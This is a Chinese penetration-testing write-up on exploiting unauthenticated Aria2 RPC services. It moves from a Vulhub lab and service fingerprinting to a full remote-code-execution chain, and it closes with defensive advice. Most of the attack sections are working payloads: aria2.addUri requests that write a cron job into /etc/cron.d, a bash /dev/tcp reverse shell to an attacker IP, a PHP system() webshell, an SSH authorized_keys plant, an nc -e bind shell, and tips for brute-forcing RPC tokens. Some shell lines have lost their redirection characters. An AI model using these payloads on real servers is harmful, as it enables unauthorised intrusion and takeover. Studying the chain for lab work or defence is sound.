Aria2 RPC未授权访问漏洞:从任意文件写入到远程命令执行实战分析 1. 项目概述一次由内部测试引发的深度安全思考最近在一次常规的内部网络渗透测试中我遇到了一个非常典型的场景一个看似不起眼的下载服务最终却成为了整个内网防线被突破的起点。这个服务就是Aria2一个在开发、运维乃至普通用户群体中都相当流行的轻量级下载工具。很多人喜欢用它来替代浏览器内置下载或者搭建一个私有的离线下载服务器。然而正是这个“好用”的工具如果配置不当其内置的远程控制接口会变成一个危险的“后门”允许攻击者向服务器任意位置写入文件。我正是利用了这个Aria2任意文件写入漏洞一步步从外部访问点最终拿到了服务器的Shell控制权。这次经历让我深刻体会到安全风险往往潜伏在最常用的工具和默认配置中。Aria2本身并非不安全问题出在管理员为了方便将其RPC服务不加任何访问控制地暴露在了公网或内网敏感区域。对于安全从业者来说理解这类漏洞的成因、利用手法和防御措施是构建纵深防御体系的关键一环。对于开发者和运维人员这更是一次警醒任何服务只要开放了远程管理功能就必须配套严格的认证和授权机制。接下来我将完整复盘这次渗透测试的过程从信息收集、漏洞验证、利用链构建到最终获取Shell的每一步细节。我会重点拆解其中的技术原理并分享在实战中遇到的坑以及绕过思路。无论你是想了解渗透测试实战流程的安全爱好者还是负责维护服务器安全的工程师相信都能从中获得直接的参考和启发。2. 漏洞核心原理与Aria2 RPC接口深度解析2.1 Aria2 RPC服务便利性与安全性的失衡要理解这个漏洞首先得明白Aria2的RPCRemote Procedure Call接口是做什么的。Aria2作为一个命令行下载工具为了提供更灵活的控制方式比如被其他程序调用、实现Web管理界面它内置了一个RPC服务器。这个服务器默认监听在6800端口支持JSON-RPC和XML-RPC两种协议。用户或程序可以通过向这个端口发送特定的JSON或XML格式的指令来远程添加下载任务、查询进度、暂停或删除任务等。关键的安全问题就出现在这里在默认配置下这个RPC接口是没有任何身份验证的。也就是说任何能够访问到服务器6800端口的客户端都可以直接向Aria2下达指令。这相当于你把自家大门的遥控器放在了门口的地垫下面虽然方便了自己但也方便了所有人。2.2 任意文件写入漏洞的成因漏洞的根源在于Aria2 RPC接口中“添加下载任务”功能的设计缺陷或者更准确地说是缺乏对参数进行严格安全校验。当我们通过RPC调用aria2.addUri方法添加一个下载任务时需要提供一些参数其中有两个至关重要的参数dir: 指定文件下载后保存的目录。out: 指定下载文件保存的名称。在正常的、受控的使用场景下用户可能会指定下载到/home/user/Downloads这样的目录。但是如果攻击者可以控制这两个参数他就可以指定任意路径。例如将dir设置为/etc/cron.d/将out设置为evil_shell。那么当Aria2从攻击者控制的URL下载一个文件时就会将这个文件写入到系统的/etc/cron.d/evil_shell。/etc/cron.d/目录在Linux系统中具有特殊意义系统会定期读取该目录下的所有文件作为cron定时任务配置。这样一来“任意文件写入”漏洞就升级为了“远程命令执行”漏洞。攻击者只需在写入的文件中配置一条定时任务指向他准备好的恶意脚本等待cron执行就能获得一个反向Shell。注意这里存在一个常见的误解认为这是Aria2软件本身的“漏洞”。严格来说这更像是一个“错误配置导致的安全风险”或“功能滥用”。软件提供了强大的功能但用户没有为其配置必要的安全边界如RPC认证、网络访问控制从而引入了风险。在渗透测试中这类问题极其普遍。2.3 漏洞利用链的完整拼图一次成功的利用需要串联起几个条件缺一不可目标发现发现一个对外开放或从内网可访问且未授权访问的Aria2 RPC服务默认端口6800。RPC通信能够与目标的RPC接口进行通信。由于需要构造JSON/XML数据手动构造较麻烦通常借助第三方Web UI或脚本。文件托管攻击者需要有一个能够被目标服务器访问到的HTTP/FTP服务器用于托管要写入的恶意文件如反弹Shell脚本。写入路径选择选择一个合适的写入路径这个路径需要满足目标进程有写权限Aria2进程运行的用户通常是当前用户或www-data等必须对该目录有写权限。能触发代码执行写入的文件能被系统以某种方式自动执行或加载。常见选择有Web根目录如/var/www/html/写入Webshell。定时任务目录/etc/cron.d/,/var/spool/cron/crontabs/。用户启动目录~/.config/autostart/。SSH公钥目录~/.ssh/authorized_keys。执行触发等待或主动触发写入文件的执行如等待cron执行、访问Webshell URL等。3. 实战环境搭建与信息收集3.1 测试环境准备为了清晰地演示我使用Vulhub搭建了漏洞靶场。Vulhub是一个非常好的漏洞复现环境集合它提供了docker-compose配置能一键搭建起存在特定漏洞的服务。# 1. 下载Vulhub git clone https://github.com/vulhub/vulhub.git cd vulhub/aria2/arbitrary-file-write # 2. 启动靶场环境 docker-compose up -d # 3. 查看服务状态和端口映射 docker-compose ps执行后Aria2服务会在容器内启动并将6800端口映射到宿主机的某个端口例如32768。此时一个存在未授权访问风险的Aria2 RPC服务就已经在网络上可用了。3.2 信息收集与服务识别在真实的内部测试中我们可能通过端口扫描如使用nmap来发现目标。nmap -sV -p 6800 192.168.1.0/24发现开放6800端口的主机后需要验证其是否为Aria2 RPC服务。最直接的方法就是访问其RPC端点。curl http://192.168.1.100:6800/jsonrpc如果返回一个404 Not Found页面内容可能是“404 Not Found”或类似的简单错误这通常是一个好的信号。因为Aria2的RPC服务本身不提供Web界面对根路径的GET请求返回404是正常行为这恰恰说明RPC服务正在运行并监听在该端口。如果端口完全关闭curl会报连接拒绝的错误。更进一步的验证是尝试发送一个合法的JSON-RPC请求例如列出当前活动下载通常为空curl -X POST http://192.168.1.100:6800/jsonrpc -H ‘Content-Type: application/json’ -d ‘{“jsonrpc”:”2.0,”method”:”aria2.tellActive”,”id”:1}’如果服务返回一个JSON响应即使是错误如{id:1,jsonrpc:2.0,error:{code:1,message:No active download.}}那就100%确认了目标。实操心得在内部网络测试时不要只盯着6800默认端口。有些管理员会修改默认端口。因此在全面端口扫描的基础上对发现的所有未知TCP服务都可以尝试发送一个简单的Aria2 RPC请求包进行指纹识别。可以将上述curl命令写入脚本批量对扫描结果进行验证。4. 利用第三方工具进行RPC交互与漏洞验证4.1 为何需要第三方UI虽然我们可以用curl或Python脚本直接构造JSON-RPC请求但对于漏洞利用过程中的多次交互、参数调试来说这不够直观和高效。因此使用一个现成的Aria2 Web前端UI来与目标RPC服务交互是更佳选择。这些UI本质上就是一个网页它通过JavaScript向指定的RPC地址发送请求并将结果可视化展示出来。一个经典且常用的开源UI是YAAM或YAAW。我们不需要在本地安装直接使用其在线Demo页面即可。4.2 配置与连接打开YAAW的Demo页面例如http://binux.github.io/yaaw/demo/。点击页面上的“设置”通常是一个齿轮图标或“配置”按钮。在“JSON-RPC Path”或类似的输入框中填入目标的RPC地址http://目标IP:目标端口/jsonrpc。例如http://192.168.1.100:6800/jsonrpc。保存配置。如果配置正确且网络可达UI界面通常会刷新并显示目标Aria2的当前状态如版本号、活动/等待/停止的下载任务列表此时应为空。成功连接上未授权的RPC服务是漏洞利用的第一步也是最关键的一步它直接证明了“未授权访问”风险的存在。4.3 漏洞验证尝试写入测试文件在真正写入恶意载荷前最好先进行一次无害的测试确认写入功能是否可用以及当前Aria2进程的运行权限。在攻击机上创建一个简单的文本文件test.txt内容为hello from pentest。在攻击机上启动一个简单的HTTP服务器使其能在目标网络中被访问到。python3 -m http.server 8000 # 或者使用php php -S 0.0.0.0:8000在YAAW界面中点击“新增”或“Add”按钮添加下载任务。在URL处填入你的HTTP服务器上的文件地址http://你的IP:8000/test.txt。关键步骤找到“高级选项”或直接修改请求参数。我们需要手动指定dir和out参数。在YAAW中这可能需要通过编辑“自定义参数”或直接修改生成的JSON来实现。一个典型的JSON-RPC请求体如下{ “jsonrpc”: “2.0”, “id”: “1”, “method”: “aria2.addUri”, “params”: [ [“http://你的IP:8000/test.txt”], { “dir”: “/tmp”, // 尝试写入到/tmp目录通常所有用户都有写权限 “out”: “aria2_test.txt” } ] }发送请求。如果返回结果中包含类似“result”:“2089b05e8c6f8d3c”一个GID说明下载任务添加成功。等待几秒钟然后通过其他方式如果你已有部分权限或在靶场环境中直接查看/tmp/aria2_test.txt文件是否存在且内容正确。如果文件成功写入则证明任意文件写入漏洞真实存在。注意事项在实际渗透中你可能无法直接登录服务器查看文件。此时可以尝试写入一个能引发“侧信道”响应的文件。例如写入Web根目录下的一个文件然后通过浏览器访问它或者写入一个计划任务该任务会向你的服务器发送一个HTTP请求如curl http://你的IP:端口通过监听该端口是否收到请求来判断是否执行成功。5. 构建攻击链从文件写入到Shell获取验证漏洞存在后接下来就是构造完整的攻击链将“写入文件”转化为“执行命令”最终获得一个交互式Shell。5.1 攻击载荷准备反弹Shell脚本我们的目标是让目标服务器主动连接回我们控制的机器。最常用的方法是使用反向Shell。我们需要准备一个Shell脚本其核心功能是创建一个TCP连接回连到攻击机并将本地的标准输入、输出、错误流重定向到这个网络连接上。创建一个名为shell.sh的文件内容如下#!/bin/bash bash -i /dev/tcp/192.168.15.128/8888 01参数解释bash -i启动一个交互式的bash。 /dev/tcp/192.168.15.128/8888将标准输出和标准错误都重定向到TCP连接。/dev/tcp/host/port是bash的一个特性它会尝试建立到指定主机和端口的TCP连接。01将标准输入重定向到标准输出即从同一个TCP连接中读取输入。这样当这个脚本在目标服务器上执行时它会尝试连接到192.168.15.128的8888端口。我们在攻击机上只需要用nc监听这个端口就能获得一个来自目标的Shell。重要提醒在实际测试中请将IP地址替换为你攻击机的真实IP。确保目标服务器到攻击机的8888端口网络是可达的考虑防火墙规则。5.2 托管恶意文件将shell.sh放在攻击机的HTTP服务器目录下确保可以通过http://攻击机IP:8000/shell.sh访问到。5.3 选择写入路径与利用方式有多种路径可以将文件写入并触发执行这里介绍两种最常用的。方式一利用Linux定时任务Cron这是最经典、成功率相对较高的方法。Linux系统的/etc/cron.d/目录用于存放系统级别的cron任务配置文件cron守护进程会每分钟扫描一次这个目录。构造一个cron任务文件例如命名为evil-cron。其内容格式必须符合cron规范* * * * * root /bin/bash /tmp/shell.sh这表示以root用户身份每分钟执行一次/tmp/shell.sh脚本。我们这里假设先写入到/tmp目录。关键细节cron文件必须以换行符\n结束。很多编辑器或脚本生成的文件末尾可能没有换行符这会导致cron无法正确识别该文件从而不执行任务。务必检查通过Aria2 RPC将evil-cron文件下载写入到/etc/cron.d/目录。{ “jsonrpc”: “2.0”, “id”: “1”, “method”: “aria2.addUri”, “params”: [ [“http://攻击机IP:8000/evil-cron”], { “dir”: “/etc/cron.d/”, “out”: “evil-cron” // 文件名可以任意 } ] }写入成功后等待最多一分钟cron就会执行该任务。如果shell.sh脚本路径正确且内容无误攻击机的nc监听端口就会收到连接。方式二写入Web目录获取Webshell如果目标服务器同时是一个Web服务器并且你知道Web根目录如/var/www/html/且Aria2进程有该目录的写权限那么可以直接写入一个Webshell。准备一个简单的PHP Webshell例如shell.php?php system($_GET[‘cmd’]); ?通过Aria2 RPC将其写入Web根目录。{ “jsonrpc”: “2.0”, “id”: “1”, “method”: “aria2.addUri”, “params”: [ [“http://攻击机IP:8000/shell.php”], { “dir”: “/var/www/html/”, “out”: “shell.php” } ] }写入成功后通过浏览器访问http://目标IP/shell.php?cmdid即可执行系统命令。这种方式更直接但前提是Web目录可写且你知道路径。5.4 启动监听与获得Shell在攻击机上使用netcatnc监听之前指定的端口8888nc -lvnp 8888参数解释-l监听模式。-v详细输出。-n直接使用IP地址不进行DNS解析。-p指定监听端口。当目标服务器上的cron任务执行了我们的反弹Shell脚本或者我们通过其他方式触发了脚本执行netcat的窗口就会接收到连接并出现一个可交互的命令行提示符可能是$或#这表示你已经成功获取了目标服务器的Shell。6. 实战中的疑难杂症与进阶绕过技巧在实际测试中事情很少一帆风顺。以下是我在多次实战和靶场练习中遇到的一些典型问题及解决方法。6.1 Cron任务不执行检查文件格式与权限这是最常见的问题。你通过Aria2成功将文件写入了/etc/cron.d/但苦等几分钟甚至更久反弹Shell迟迟不来。排查步骤检查文件末尾换行符这是最大的“坑”。使用cat -A 文件名命令查看文件内容如果已有其他方式访问目标机行尾应该显示$文件最后一行也必须有$。如果最后一行没有$说明缺少换行符。在生成cron文件时确保脚本的echo或printf命令最后包含了\n。# 正确的方式echo默认会加换行 echo “* * * * * root /bin/bash /tmp/shell.sh” evil-cron # 或者使用printf并明确指定换行 printf “* * * * * root /bin/bash /tmp/shell.sh\n” evil-cron检查文件权限/etc/cron.d/目录下的文件通常不能有执行权限并且属主应为root。Aria2写入的文件其属主和组是运行Aria2进程的用户。如果这个用户不是rootcron可能出于安全考虑拒绝执行。可以尝试在cron任务行中指定执行用户如root但文件本身的属主问题有时仍会阻碍。如果可能尽量写入到/tmp目录并通过cron调用。检查Cron服务状态目标服务器的cron服务crond或cron可能没有运行。不过这种情况在正常服务器上较少见。检查脚本路径和语法确保cron任务中指定的脚本路径绝对正确并且脚本本身具有可执行权限chmod x /tmp/shell.sh。可以在cron命令中追加日志输出以便调试* * * * * root /bin/bash /tmp/shell.sh /tmp/cron.log 21然后检查/tmp/cron.log文件。6.2 目标无法出网搭建内网代理或使用其他协议反弹Shell的前提是目标服务器能主动连接到你的攻击机。但在严格的内网环境中服务器可能无法直接访问外网。解决方案使用DNS、ICMP等协议隧道如果防火墙只允许特定协议外出可以尝试使用DNS隧道工具如dnscat2或ICMP隧道工具。利用已控跳板机如果你已经控制了内网中的另一台机器跳板机且该机器能与目标和你的攻击机同时通信可以将反弹Shell的目标IP设置为跳板机的内网IP然后在跳板机上做端口转发。正向Shell如果目标不能连接你但你能连接到目标的某个端口可以考虑使用正向Shell。在目标上使用nc -e /bin/bash -lvp 9999监听端口然后你从攻击机连接上去。但这就需要你能在目标上执行命令来启动监听在只有文件写入漏洞的情况下需要写入一个能启动监听服务的脚本或计划任务条件更为苛刻。写入SSH公钥如果目标服务器允许SSH密钥登录且你知道某个用户的.ssh目录可写这是一个极好的替代方案。将你的公钥写入~/.ssh/authorized_keys文件然后直接通过SSH登录稳定又高效。// 通过Aria2写入公钥 { “jsonrpc”: “2.0”, “id”: “1”, “method”: “aria2.addUri”, “params”: [ [“http://攻击机IP:8000/id_rsa.pub”], // 你的公钥文件 { “dir”: “/home/用户名/.ssh/”, “out”: “authorized_keys” } ] }6.3 RPC接口需要Token认证尝试绕过或暴力破解较新版本的Aria2或安全意识较高的管理员可能会配置RPC密钥--rpc-secret。此时发送RPC请求需要在请求头或参数中包含Token。应对方法检查默认和弱口令尝试空口令、常用口令如admin,aria2,password,123456或与目标相关的信息如公司名、域名。信息泄露检查目标Web应用的其他页面、源码注释、配置文件备份如.bak文件、版本控制历史.git等看是否能找到RPC密钥。寻找其他入口如果Aria2 RPC有认证可以看看是否集成了某个有漏洞的Web前端。有时前端会将密钥硬编码在JavaScript中或者存在其他逻辑漏洞导致可以未授权调用后端RPC。6.4 写入路径权限不足寻找可写目录如果尝试写入/etc/cron.d/或Web根目录失败权限不足需要寻找Aria2进程用户有写权限的其他目录。寻找可写目录的思路临时目录/tmp和/var/tmp是所有用户都可写的经典目录。用户目录如果知道运行Aria2的系统用户名可通过尝试写入/proc/self/environ或错误信息推断可以尝试写入其家目录如/home/aria2user/。日志目录/var/log/下的某些子目录有时权限较松。通过其他信息泄露获取如果存在其他漏洞能读取系统信息或配置文件可以从中寻找可写路径。一旦找到可写目录可以将恶意脚本写入该目录如/tmp/exploit.sh然后通过写入cron任务或利用其他机制如inotify、系统服务、bashrc等来触发执行。思路要灵活核心是“写入”“触发”。7. 防御措施与安全建议从防御者视角看如何避免自己的Aria2服务成为攻击跳板最小化网络暴露绝对不要将Aria2的RPC服务6800端口暴露在公网。如果仅在本地使用就只绑定127.0.0.1--rpc-listen-allfalse或--rpc-listen-ip127.0.0.1。如果内网其他机器需要访问使用防火墙策略严格限制可访问的源IP地址。强制启用RPC认证始终使用--rpc-secret强令牌参数启动Aria2并设置一个足够复杂、不可猜测的令牌。这是最重要的安全措施。使用白名单限制下载目录通过--dir参数指定一个专用的、隔离的下载目录。避免使用根目录或系统关键目录作为默认下载路径。可以结合--allow-overwritefalse和--auto-file-renamingfalse来增加攻击者覆盖现有文件的难度。以低权限用户运行不要使用root用户运行Aria2。创建一个专用的、无特权用户如aria2来运行服务这样可以极大限制漏洞被利用后的影响范围例如无法写入/etc/cron.d。定期更新与安全审计保持Aria2为最新版本关注其安全公告。定期检查服务器的进程、开放端口和配置文件确保没有未授权的服务暴露。纵深防御即使单个服务被突破也要依靠整体的安全体系。例如确保服务器上的其他服务如Web、数据库也运行在独立低权限账户下部署主机入侵检测系统做好网络分区隔离等。对于渗透测试者而言这次测试也提醒我们在评估一个系统时要拓宽视野。那些非标准的端口、为便利而开启的管理接口、开发测试环境中遗留的默认配置往往比那些众所周知的Web漏洞更能轻易地打开通往内网的大门。每一次成功的渗透都是对防御体系一次宝贵的压力测试。